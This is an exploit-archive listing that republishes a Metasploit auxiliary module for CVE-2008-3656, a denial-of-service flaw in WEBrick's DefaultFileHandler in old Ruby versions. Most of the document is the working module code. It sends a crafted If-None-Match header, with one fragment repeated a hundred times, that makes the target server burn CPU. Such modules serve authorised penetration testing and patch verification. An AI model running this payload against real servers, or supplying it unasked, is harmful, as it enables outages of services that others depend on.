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Ruby WEBrick::HTTP::DefaultFileHandler Denial of Service

Ruby WEBrick::HTTP::DefaultFileHandler Denial of Service
Posted Aug 31, 2024
Authored by Kris Katterjohn | Site metasploit.com

The WEBrick::HTTP::DefaultFileHandler in WEBrick in Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7 to 1.8.7-p71, and 1.9 to r18423 allows for a DoS (CPU consumption) via a crafted HTTP request.

tags | exploit, web, ruby
advisories | CVE-2008-3656
SHA-256 | 0d6e2a46f2df4b48609f3e00dbf592a8c7fdfdebcfe670024fa70d9a4e1c2f01

Ruby WEBrick::HTTP::DefaultFileHandler Denial of Service

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
'Description' => %q{
The WEBrick::HTTP::DefaultFileHandler in WEBrick in
Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
(CPU consumption) via a crafted HTTP request.
},
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'References' => [
[ 'BID', '30644'],
[ 'CVE', '2008-3656'],
[ 'OSVDB', '47471' ],
[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
],
'DisclosureDate' => '2008-08-08'))

register_options([
OptString.new('URI', [ true, 'URI to request', '/' ])
])
end

def run
begin
o = {
'uri' => normalize_uri(datastore['URI']),
'headers' => {
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
}
}

c = connect(o)
c.send_request(c.request_raw(o))

print_status("Request sent to #{rhost}:#{rport}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_status("Couldn't connect to #{rhost}:#{rport}")
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
end
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